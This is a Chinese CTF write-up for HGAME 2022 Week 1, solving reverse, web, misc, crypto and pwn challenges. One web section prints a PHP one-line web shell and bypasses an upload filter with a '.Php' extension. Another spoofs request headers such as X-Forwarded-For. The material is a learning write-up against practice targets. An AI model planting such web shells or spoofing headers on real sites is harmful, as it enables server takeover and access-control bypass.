ripple

HGAME 2022 Week1 writeup by ripple

  • ~16.22K 字
  1. 1. HGAME 2022 Week1 writeup by ripple
    1. 1.1. REVERSE
      1. 1.1.1. test your IDA
      2. 1.1.2. easyasm
      3. 1.1.3. easyenc
      4. 1.1.4. a_cup_of_tea
      5. 1.1.5. encode
    2. 1.2. WEB
      1. 1.2.1. Classic Childhood Game
      2. 1.2.2. Become A Member
      3. 1.2.3. Guess Who I Am
      4. 1.2.4. Show Me Your Beauty
    3. 1.3. MISC
      1. 1.3.1. Sign In
      2. 1.3.2. Where am I
      3. 1.3.3. 神秘的海报
      4. 1.3.4. e99p1ant_want_girlfriend
    4. 1.4. CRYPTO
      1. 1.4.1. RSA
      2. 1.4.2. Be Stream
      3. 1.4.3. 神秘的电话
    5. 1.5. Pwn
      1. 1.5.1. test_nc

HGAME 2022 Week1 writeup by ripple

REVERSE

初学逆向QAQ里面的代码不是很好，这次学到了很多新东东。

test your IDA

IDA测试，把程序放入IDA反汇编F5查看伪代码即可得到结果。

flag:hgame{te5t_y0ur_IDA}

easyasm

汇编真是一点不懂啊，这题其实是摸出来的QAQ。

附件是txt文件，里面是汇编代码，读程序。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
; void __cdecl enc(char *p)
.text:00401160 _enc            proc near               ; CODE XREF: _main+1B↑p
.text:00401160
.text:00401160 i               = dword ptr -4
.text:00401160 Str             = dword ptr  8
.text:00401160
.text:00401160                 push    ebp
.text:00401161                 mov     ebp, esp
.text:00401163                 push    ecx
.text:00401164                 mov     [ebp+i], 0
.text:0040116B                 jmp     short loc_401176
.text:0040116D ; ---------------------------------------------------------------------------
.text:0040116D
.text:0040116D loc_40116D:                             ; CODE XREF: _enc+3B↓j
.text:0040116D                 mov     eax, [ebp+i]
.text:00401170                 add     eax, 1
.text:00401173                 mov     [ebp+i], eax
.text:00401176
.text:00401176 loc_401176:                             ; CODE XREF: _enc+B↑j
.text:00401176                 mov     ecx, [ebp+Str]
.text:00401179                 push    ecx             ; Str
.text:0040117A                 call    _strlen
.text:0040117F                 add     esp, 4
.text:00401182                 cmp     [ebp+i], eax
.text:00401185                 jge     short loc_40119D
.text:00401187                 mov     edx, [ebp+Str]
.text:0040118A                 add     edx, [ebp+i]
.text:0040118D                 movsx   eax, byte ptr [edx]
.text:00401190                 xor     eax, 33h
.text:00401193                 mov     ecx, [ebp+Str]
.text:00401196                 add     ecx, [ebp+i]
.text:00401199                 mov     [ecx], al
.text:0040119B                 jmp     short loc_40116D
.text:0040119D ; ---------------------------------------------------------------------------
.text:0040119D
.text:0040119D loc_40119D:                             ; CODE XREF: _enc+25↑j
.text:0040119D                 mov     esp, ebp
.text:0040119F                 pop     ebp
.text:004011A0                 retn
.text:004011A0 _enc            endp
Input: your flag
Encrypted result: 0x5b,0x54,0x52,0x5e,0x56,0x48,0x44,0x56,0x5f,0x50,0x3,0x5e,0x56,0x6c,0x47,0x3,0x6c,0x41,0x56,0x6c,0x44,0x5c,0x41,0x2,0x57,0x12,0x4e

一开始还是想正经挑战的，看《汇编语言》看到mov那吧，再看看这个，还是一脸懵逼。

于是就开始摸了。

总之就是看到这一行：

1
.text:00401190                 xor     eax, 33h

想着既然给的是汇编，程序应该不会太复杂，于是就试了试异或0x33回去看看，没想到摸对了。

附上解密代码：

1
2
3
4
5
6
7
8
9
10
11
#include<stdio.h>
#include<string.h>
int main()
{
	char ch[] = { 0x5b,0x54,0x52,0x5e,0x56,0x48,0x44,0x56,0x5f,0x50,0x3,0x5e,0x56,0x6c,0x47,0x3,0x6c,0x41,0x56,0x6c,0x44,0x5c,0x41,0x2,0x57,0x12,0x4e ,'\0' };
	for (int i = 0; i < strlen(ch); i++)
	{
		printf("%c", ch[i] ^ 0x33);
	}
	return 0;
}

flag:hgame{welc0me_t0_re_wor1d!}

easyenc

拖到IDA中查看

主要加密函数：

异或0x32后减去86，逆过来就是先加86然后异或0x32。

然后找到密文是v7[10]数组和v8，这里一开始不明白怎么成int了，后来了解到是编译优化，编译后为了加快数据的初始化速度就4字节一初始化，原来v7是个char数组。

可以试试对着v7后面的数据及v8按H变成16进制就一目了然了。

我这里麻烦了，其实小段存进去v7已经排好了，代码如下：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
#include<stdio.h>
int main()
{
	int v7[10];
	v7[0] = 0x9FDFF04;
	v7[1] = 0xB0F301;
	v7[2] = 0xADF00500;
	v7[3] = 0x5170607;
	v7[4] = 0x17FD17EB;
	v7[5] = 0x1EE01EA;
	v7[6] = 0xFA05B1EA;
	v7[7] = 0xAC170108;
	v7[8] = 0xFDEA01EC;
	v7[9] = 0x60705F0;
	char v8 = 0xF9;
	char ch[41] = { 0 };
	char* p = v7;
	for (int i = 0; i < 40; i++)
	{
		ch[i] = (*p);
		p++;
	}
	ch[40] = v8;
	for (int i = 0; i < 41; i++)
	{
		printf("%c", (v7[i] + 86)^0x32);
	}
	return 0;
}

flag:hgame{4ddit1on_is_a_rever5ible_0peration}

a_cup_of_tea

考察TEA加密算法

关键是找到delta,key,密文

这里的密文很好得出，就是Buf2，由于是编译优化（编译后为了加快数据的初始化速度就4字节一初始化），我这里依然是用了不太好的方法，算法有待改进。

tea

看得出来sub_7FF7EDDD10B4是TEA的加密函数，进入找到v3 -= 0x543210DD，但这里要注意delta不是0x543210DD，因为TEA加密是无符号整型+=delta，所以这里的delta是-0x543210DD所对应的无符号整型。

key我是通过调试找到的，在加密函数内打断点看v2、v4、v5、v6记下来。

其实也可以直接找到xmmword_7FF7EDDD22B0提取

然后就是解密了。

一开始蠢了看到这+2真的自己加2了

input被转成了unsigned int*，每次加减1相当于加减4字节。所以其实是8。

而且更重要是tea加密单次加密8字节，逆向要充分遵照原文，加密怎么加密的就怎么解密，1个字节都不能差。

最后附上有待优化的代码：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
#include<stdio.h>
#include<stdint.h>


void decrypt(uint32_t* v, uint32_t* k) {
    uint32_t v0 = v[0], v1 = v[1], i;  /* set up */
    uint32_t delta = (unsigned int) - 0x543210DD, sum = delta * 32;                     /* a key schedule constant */
    uint32_t k0 = k[0], k1 = k[1], k2 = k[2], k3 = k[3];   /* cache key */
    for (i = 0; i < 32; i++) {                         /* basic cycle start */
        v1 -= ((v0 << 4) + k2) ^ (v0 + sum) ^ ((v0 >> 5) + k3);
        v0 -= ((v1 << 4) + k0) ^ (v1 + sum) ^ ((v1 >> 5) + k1);
        sum -= delta;
    }                                              /* end cycle */
    v[0] = v0; v[1] = v1;
}


int main(int argc, char const* argv[])
{
    unsigned int key[4] = {0x12345678,0x23456789,0x34567890,0x45678901};//key
	int Buf2[8];
	Buf2[0] = 778273437;
	Buf2[1] = -1051836401;
	Buf2[2] = -1690714183;
	Buf2[3] = 1512016660;
	Buf2[4] = 1636330974;
	Buf2[5] = 1701168847;
	Buf2[6] = -1626976412;
	Buf2[7] = 594166774;
	int v8 = 0x7D6B;
	char ch[35] = { 0 };
	char* p = Buf2;
	for (int i = 0; i < 32; i++)
	{
		ch[i] = (*p);
		p++;
	}
	ch[32] = 0x6b;
	ch[33] = 0x7d;
    decrypt(ch, key);
    decrypt(ch + 8, key);
    decrypt(ch + 16, key);
    decrypt(ch + 24, key);
    printf("%s\n",ch);
    return 0;
}

flag:hgame{Tea_15_4_v3ry_h3a1thy_drlnk}

encode

die查壳是32位

用32位IDA打开

分析加密的过程:

v4是密文，偶数位存的是左四位二进制的值，奇数位存的是右四位二进制的值。

dword_403000是密文，进入后shift+8设为数组，shift+E提取。

发现识别为了char。

我这里比较手动，把多余的0x00替换掉了之后再放入。

以及后面的flag也是自己一个一个输入，中间还出错了，总之非常人工，又慢又不准确。

后来才知道可以用移位操作符QAQ。

总之别看我这的代码了，看别人的吧，丢人。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
#include<stdio.h>
int main()
{

	unsigned int m[] =
	{
	  0x08, 0x06, 0x07, 0x06, 0x01, 0x06, 0x0D, 0x06, 0x05, 0x06,
	  0x0B, 0x07, 0x05, 0x06, 0x0E, 0x06, 0x03, 0x06, 0x0F, 0x06,
	  0x04, 0x06, 0x05, 0x06, 0x0F, 0x05, 0x09, 0x06, 0x03, 0x07,
	  0x0F, 0x05, 0x05, 0x06, 0x01, 0x06, 0x03, 0x07, 0x09, 0x07,
	  0x0F, 0x05, 0x06, 0x06, 0x0F, 0x06, 0x02, 0x07, 0x0F, 0x05,  
	  0x01, 0x06, 0x0F, 0x05, 0x02, 0x07, 0x05, 0x06, 0x06, 0x07,
	  0x05, 0x06, 0x02, 0x07, 0x03, 0x07, 0x05, 0x06, 0x0F, 0x05,
	  0x05, 0x06, 0x0E, 0x06, 0x07, 0x06, 0x09, 0x06, 0x0E, 0x06,
	  0x05, 0x06, 0x05, 0x06, 0x02, 0x07, 0x0D, 0x07, 0x00, 0x00,
	  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
	};
	char flag[] =
	{
		0x68,0x67,0x61,0x6d,0x65,0x7b,0x65,0x6e,0x63,0x6f,
		0x64,0x65,0x5f,0x69,0x73,0x5f,0x65,0x61,0x73,0x79,
		0x5f,0x66,0x6f,0x72,0x5f,0x61,0x5f,0x72,0x65,0x76,
		0x65,0x72,0x73,0x65,0x5f,0x65,0x6e,0x67,0x69,0x6e,
		0x65,0x65,0x72,0x7d,0x00
	};

	printf("%s", flag);
	return 0;
}

flag:hgame{encode_is_easy_for_a_reverse_engineer}

WEB

Classic Childhood Game

经典魔塔，interesting，但我不太会玩哈哈哈哈哈。

之前有段时间热衷于魔塔，有个玩h5魔塔的网站分享一下：HTML5魔塔广场 (h5mota.com)

言归正传，用F12查看源代码的时候发现/Res路径

访问/Res路径发现是一个资源索引

里面存在js代码的泄露

逐个查看，可以在events.js文件里发现不对劲，发现mota()函数

了解到代码被混淆过，可读性较差。

一开始蠢蠢的去找了一个在线运行js代码的网站把mota{}去掉运行出来找到了flag(这个网站好像还可以解密混淆过的js代码，总之先贴一下)

后来才知道原来可以F12在控制台直接运行QAQ

flag:hgame{fUnnyJavascript&FunnyM0taG4me}

看了源代码里的内容，感觉里面有好多彩蛋嘿嘿。

Become A Member

由题目描述可知是一个HTTP请求头的题目。

一开始乱玩访问/flag没想到找到一个假flag哈哈哈哈哈，这都能被预判吗。

用BurpSuite拦截后抓包，右键send to repeater。

第一个提示是：请先提供一下身份证明（Cute-Bunny）哦

查了一下最后发现是User-Agent:

改User-Agent为Cute-Bunny后send

得到第二个提示：每一个能够成为会员的顾客们都应该持有名为Vidar的邀请码（code）

从返回头中我们能看到给了一个cookie里是code

不难想到添加Cookie

添加Cookie: code=Vidar后send

得到第三个提示：由于特殊原因，我们只接收来自于bunnybunnybunny.com的会员资格申请

显然是用Referer头来修改请求来源

添加Referer: bunnybunnybunny.com后send

得到第四个提示：就差最后一个本地的请求，就能拿到会员账号啦

本地请求这里可以用X-Forwarded-For伪造本地访问

添加X-Forwarded-For: 127.0.0.1后send

得到第五个提示：username:luckytoday password:happy123（请以json请求方式登陆）

在这里卡了好久，去了解了json格式之后以为只能用POST方法传，后来才知道是可以用GET方法传json格式数据，同时还要注意这里值都是字符串！

在最后空一行后添加：

{“username”:”luckytoday”,”password”:”happy123”}

然后send

得到flag:hgame{H0w_ArE_Y0u_T0day?}

最后附上完整报文：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
GET / HTTP/1.1
Host: week-1.hgame.lwsec.cn:30768
User-Agent: Cute-Bunny
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
X-Forwarded-For: 127.0.0.1
Referer: bunnybunnybunny.com
Cookie: code=Vidar
Connection: close
Upgrade-Insecure-Requests: 1
Content-Length: 47

{"username":"luckytoday","password":"happy123"}

Guess Who I Am

一只不会写脚本的菜狗路过QAQ

题目提示写个脚本帮助兔兔，可是我不会啊QAQ

只能自己亲自来一个个帮兔兔答了QAQ

网站F12查看源代码发现提示：

访问后其实就是问题的答案

因为不会脚本就保存到记事本里查找复制粘贴了QAQ

还好学长亚萨西，只是100个，来个1000甚至10000个就很难受了QAQ

附上即将成功的画面QAQ：

最后flag是：hgame{Guess_who_i_am^Happy_Crawler}

认识了学长学姐，这波赚了(

Show Me Your Beauty

第一次做文件上传题，下中国蚁剑弄了半天，写个一句话木马windows直接报毒删了233

后来下了火绒来查毒就OK了。成功后现在看到一个网站能传文件就想传个木马试试了（×bushi

总之在过程中学到了许多。

网站可以上传图片格式的文件。

写了一个一句话木马1.php：<?php@eval($_POST[“cmd”]);?>很经典

然后将后缀改为.jpg格式

打开BurpSuite拦截请求后上传文件1.jpg点submit后BurpSuite就会拦截到请求头

将其中的Content-Disposition里的filename从1.jpg改为1.Php(注意有一个大写)

一开始是改为1.php提示类型不匹配，应该是将.php后缀禁了，于是换成了.Php

然后关闭拦截，提示上传成功且告知了位置

当我们访问/img/1.Php时是一个空白页面而不是404页面，说明木马已成功植入网站。

接着用蚁剑连接就行了。

在根目录下找到flag:hgame{Unsave_F1L5_SYS7em_UPL0ad!}

MISC

Sign In

签到题，base64解码得到flag:hgame{Welcome_To_HGAME2023!}

Where am I

是一个流量包文件，题目里的提示是上传了文件到网盘。

wireshark打开查找http，得到两个数据。

在其中一个找到rar文件。

导出数据，找到rar文件头和文件尾，用16进制编辑器手动分离一下，得到一个rar的压缩包，命名为1.rar

可以无脑binwalk分离出来rar，但我这样分离出来的文件尾是不对的，还要再分，不知道这样能不能继续进行。

总之是得到了一个rar文件，查看后提示文件头损坏并显示有加密。

于是猜测是rar的伪加密，可参考网站。

将第24位的数据从24改为20，重命名为11.rar，就可正常解压得到Exchangeable.jpg

题目是要找到拍摄的经纬度，右键查看Exchangeable.jpg的属性就行了

南纬北纬西经东经的话可以试一下也很方便。或者我们用PS来来看：

PS打开Exchangeable.jpg，在文件-文件简介中查看。

这样就知道flag啦：hgame{116_24_1488_E_39_54_5418_N}

神秘的海报

附件为png图片，是LSB隐写。用StegSolve打开Analyze-Data Extract中查看，颜色通道都选0。

保存一下，得到一半的flag:hgame{U_ Kn0w_LSB&W

另一半的flag提示在https://drive.google.com/file/d/13kBos3Ixlfwkf3e0z0kJTEqBxm7RUk-G/view?usp=sharing

下载，是一首歌曲且用了Steghide加密，密码提示是一个六位整数。

下载得到Bossanova.wav

用Steghide解密，密码是最经典的123456，试一下就得到了（或者可以爆破？）

在同目录下找到flag2.txt得到另一半flag:av^Mp3_Stego}

总的flag:hgame{U_ Kn0w_LSB&Wav^Mp3_Stego}

e99p1ant_want_girlfriend

茄皇NB，我要是女生我就冲了[doge]。

得到一张帅气的照片，题目提示CRC有问题，不难猜出是修改了宽高。

用脚本爆破出宽高（采用的脚本）

得到原宽高0x200 0x2c2

16进制编译器打开将00 00 02 A8 改为 00 00 02 C2后保存即可。

在图片下方得到flag:hgame{e99p1ant_want_a_girlfriend_qq_524306184}

QQ直接加爆23333333

CRYPTO

RSA

基本的RSA加密，已知e、n、c。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
from Crypto.Util.number import *

flag = open('flag.txt', 'rb').read()

p = getPrime(512)
q = getPrime(512)
n=p*q
e = 65537
m = bytes_to_long(flag)
c = pow(m, e, n)
print(f"c={c}")
print(f"n={n}")

"""
c=110674792674017748243232351185896019660434718342001686906527789876264976328686134101972125493938434992787002915562500475480693297360867681000092725583284616353543422388489208114545007138606543678040798651836027433383282177081034151589935024292017207209056829250152219183518400364871109559825679273502274955582
n=135127138348299757374196447062640858416920350098320099993115949719051354213545596643216739555453946196078110834726375475981791223069451364024181952818056802089567064926510294124594174478123216516600368334763849206942942824711531334239106807454086389211139153023662266125937481669520771879355089997671125020789
"""

一开始用iroot开方求p、q发现不行。

后来才知道p、q差太大时时不能这么算的。

要利用网站进行n的分解。

分解网站：factordb.com

然后用脚本就行了。

代码：

1
2
3
4
5
6
7
8
9
10
11
12
13
from gmpy2 import invert
from Crypto.Util.number import *

c = 110674792674017748243232351185896019660434718342001686906527789876264976328686134101972125493938434992787002915562500475480693297360867681000092725583284616353543422388489208114545007138606543678040798651836027433383282177081034151589935024292017207209056829250152219183518400364871109559825679273502274955582
n = 135127138348299757374196447062640858416920350098320099993115949719051354213545596643216739555453946196078110834726375475981791223069451364024181952818056802089567064926510294124594174478123216516600368334763849206942942824711531334239106807454086389211139153023662266125937481669520771879355089997671125020789
e = 65537
q = 11239134987804993586763559028187245057652550219515201768644770733869088185320740938450178816138394844329723311433549899499795775655921261664087997097294813
p = 12022912661420941592569751731802639375088427463430162252113082619617837010913002515450223656942836378041122163833359097910935638423464006252814266959128953

phi = (p-1)*(q-1)
d = invert(e,phi)
m = pow(c,d,n)
print(long_to_bytes(m))

flag:hgame{factordb.com_is_strong!}

由答案也可以看出是考察利用网站来大数分解。

Be Stream

原加密过程：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
from flag import flag
assert type(flag) == bytes

key = [int.from_bytes(b"Be water", 'big'), int.from_bytes(b"my friend", 'big')]

def stream(i):
    if i==0:
        return key[0]
    elif i==1:
        return key[1]
    else:
        return (stream(i-2)*7 + stream(i-1)*4)

enc = b""
for i in range(len(flag)):
    water = stream((i//2)**6) % 256
    enc += bytes([water ^ flag[i]])

print(enc)
# b'\x1a\x15\x05\t\x17\t\xf5\xa2-\x06\xec\xed\x01-\xc7\xcc2\x1eXA\x1c\x157[\x06\x13/!-\x0b\xd4\x91-\x06\x8b\xd4-\x1e+*\x15-pm\x1f\x17\x1bY'

是一道算法优化的题目，折磨了几天做出来了。下提供两种做法：

1.改递归为循环，多取几次mod

严谨说明不是很会，总之就是取mod不影响结果，也可以感受一下。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
key = [int.from_bytes(b"Be water", 'big'), int.from_bytes(b"my friend", 'big')]
flag = b""
enc = b'\x1a\x15\x05\t\x17\t\xf5\xa2-\x06\xec\xed\x01-\xc7\xcc2\x1eXA\x1c\x157[\x06\x13/!-\x0b\xd4\x91-\x06\x8b\xd4-\x1e+*\x15-pm\x1f\x17\x1bY'

def stream(i):
    pre = key[0]
    nex = key[1]
    if i == 0:
        return key[0] % 256
    elif i == 1:
        return key[1] % 256
    else:
        while(i > 1):
            ret = ((pre % 256) * 7 + (nex % 256) * 4) % 256
            pre = nex
            nex = ret
            i -= 1
        return ret % 256
for i in range(len(enc)):
    water = stream((i//2) * (i//2) % 256 * (i//2) % 256*(i//2) % 256*(i//2) % 256*(i//2) % 256) % 256
    flag += bytes([water ^ enc[i]])
print(flag)

2.斐波那契矩阵和矩阵快速幂

去网上查了查相关资料，学过线代知道矩阵后比较好理解。

学习参考矩阵快速幂求斐波那契数列。

算法改造自斐波那契第n项的几种解法以及tr0uble学长的指点。

这里就算一下初始的矩阵（一开始顺序反了导致错了QAQ）

按照自己理解写的，哪里不对请指出QAQ

代码：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
key = [int.from_bytes(b"Be water", 'big'), int.from_bytes(b"my friend", 'big')]
flag = b""
enc = b'\x1a\x15\x05\t\x17\t\xf5\xa2-\x06\xec\xed\x01-\xc7\xcc2\x1eXA\x1c\x157[\x06\x13/!-\x0b\xd4\x91-\x06\x8b\xd4-\x1e+*\x15-pm\x1f\x17\x1bY'
def mul(a, b):  # 首先定义二阶矩阵乘法运算
    c = [[0, 0], [0, 0]]  # 定义一个空的二阶矩阵，存储结果
    for i in range(2):  # row
        for j in range(2):  # col
            for k in range(2):  # 新二阶矩阵的值计算
                c[i][j] += a[i][k] * b[k][j] % 256
                c[i][j] % 256
    return c

def F5(n):
    if n == 0: return key[0] % 256
    if n == 1: return key[1] % 256
    res = [[1, 0], [0, 1]]  # 单位矩阵，等价于1
    A = [[4, 7], [1, 0]]  # A矩阵
    while n:
        if n & 1: res = mul(A, res)  # 如果n是奇数，或者直到n=1停止条件
        A = mul(A, A) # 快速幂
        n >>= 1  # 整除2，向下取整
    return (res[1][0] * key[1] + res[1][1] * key[0]) % 256

for i in range(len(enc)):
    water = F5(((i//2)**6))
    flag += bytes([water ^ enc[i]])
print(flag)

flag:hgame{1f_this_ch@l|eng3_take_y0u_to0_long_time?}

确实take了我三天QAQ。

神秘的电话

考察古典加密

最后北欧神话有点难想到233

附加里是：encrypted_message.txt和morse.wav

encrypted_message.txt是base64编码，解码得到重要信息：

几个星期前，我们收到一个神秘的消息。但是这个消息被重重加密，我们不知道它的真正含义是什么。唯一知道的信息是关于密钥的：“只有倒着翻过十八层的篱笆才能抵达北欧神话的终点”。

morse.wav是摩斯密码，我是用Audacity打开看手动转为电码：

—–/..—/..—/…–/./..–.-/.–./.-./../../-…/.-../-.–/..–.-/..–.-/…./—/-./.–/.-/..–.-/.—/–/–./…./..–.-/..-./–./-.-/-.-./–.-/.-/—/–.-/-/–/..-./.-./

解密是在摩斯电码转换

解密得到：0223E_PRIIBLY__HONWA_JMGH_FGKCQAOQTMFR

题目说了最后套上hgame{}且均为小写，转换一下为小写

0223e_priibly__honwa_jmgh_fgkcqaoqtmfr

接下来就是根据提示了：只有倒着翻过十八层的篱笆才能抵达北欧神话的终点

分别对应为：逆序、18为一组的栅栏、以Vidar为密钥的维吉尼亚

前两个好想，最后的北欧神话是Vidar-Team名字的由来，可以去官网了解。

最后就用CyberChef来演示：

flag:hgame{welcome_to_hgame2023_and_enjoy_hacking}

Pwn

test_nc

测试远程连接用233

IDA打开vuln，很直接，我喜欢。

用ubuntu远程连接cat flag就行了。

week1就有点折磨到了，week2QAQQAQQAQQAQQAQQAQQAQQAQ

本作品采用 知识共享署名-相同方式共享 4.0 国际许可协议 进行许可